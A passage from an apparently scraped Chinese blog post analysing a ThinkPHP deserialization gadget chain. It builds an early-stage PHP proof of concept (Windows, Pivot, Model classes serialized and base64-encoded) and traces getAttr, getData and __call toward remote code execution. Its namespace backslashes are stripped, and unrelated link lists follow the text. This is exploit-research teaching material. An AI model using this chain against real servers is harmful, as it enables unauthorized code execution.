这么大一串代码就问你想不想看!作为一个懒人,我当然是不想看的了,而且这只是利用链分析,不是漏洞挖掘,那我只需要知道这个函数的返回值不就行了吗,我管他里面做了啥,所以,直接就是var_dump大法 。为了方便观察我的poc反序列化得到的效果,我在多处打印了关键值 。

文章插图
但是有的小伙伴肯定不太清楚怎么触发这里的var_dump,反序列化漏洞,他们又在反序列化执行链上,那么他们当然会执行,前提是我们构造的poc正确,但是最开始不已经给了现成的poc了吗,直接照抄都行,但是本着学习的目的,我们自己一步一步构造 。到这一步,我的poc如下:
<?phpnamespace think;class Model{ protected $append = []; private $data = []; public function __construct() { $this->append = ["axin"=>["123","456"]]; $this->data = ["axin"=>"1233"]; }}namespace thinkmodel;use thinkModel;class Pivot extends Model{}namespace thinkprocesspipes;use thinkmodelPivot;class Windows{ private $files = []; public function __construct() { $this->files = [new Pivot()]; }}echo urlencode(base64_encode(serialize(new Windows())));然后发送生成的序列化数据,得到$relation的值
文章插图
其实在上述自己构造poc的过程中还是要去读一下getAttribute的源码23333(哎呀,不断试错嘛),只是不需要全读,我把getAttribute简化为如下:
public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; } xxxxxxxxxxx return $value; }可以看到最终是返回了$value,而value来自getData的结果,所以,我们需要跟进去:public function getData($name = null){ if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}还记得根据我们的poc现在的$name是多少吗,是‘axin’,然后注意这里如果$name是$this->data的键名,就会直接返回$this->data[$name],而$this->data我们是可以控制的,所以这里的返回值是由我们完全掌握的 。现在回到toArray()函数,$relation的值就是$this->data[$name],这也符合我上面的实验结果,即$relation为1233,接下来执行$relation->visible($name);,这里又有一个知识点,当调用一个对象不存在的方法时,会自动调用该对象的__call()魔术方法,前提是这个对象实现了或者继承了__call()方法 。在正常的应用中,__call方法是用来容错的,就是为了避免调用了不存在的方法,而直接报错,这样对用户很不友好 。所以,在__call中要么就是友好的提示用户该方法不存在,要么就是从其他地方调用另一个方法,所以往往__call中会有call_user_func_array以及call_user_func函数(所以,到这里,我们总算是摸到RCE的一点尾巴了) 。我们来简单的看一个__call函数使用的例子:
推荐阅读
- 《金铲铲之战》黎明最强阵容是什么?
- 古茶树不能承受之重,古曼撒之冷庙古树茶
- 工夫红茶是什么意思,功夫红茶与工夫红茶字之差
- 父亲节走心茶礼,厨心熟茶品质口碑和品牌之路
- 广州旅游攻略之必去景点
- 高桥银峰的作用有哪些,高桥银峰营养成分分析
- 十大名菜之首 抗癌防癌并有“富硒食品”之称
- 凤宁号茶叶加盟信息,佛山市南海区春之茗茶叶加盟八方茶园
- 贡眉是福鼎白茶之,福鼎大白与福鼎大毫的关系
- 各用沏茶用水知识解说,沏茶用水之软水
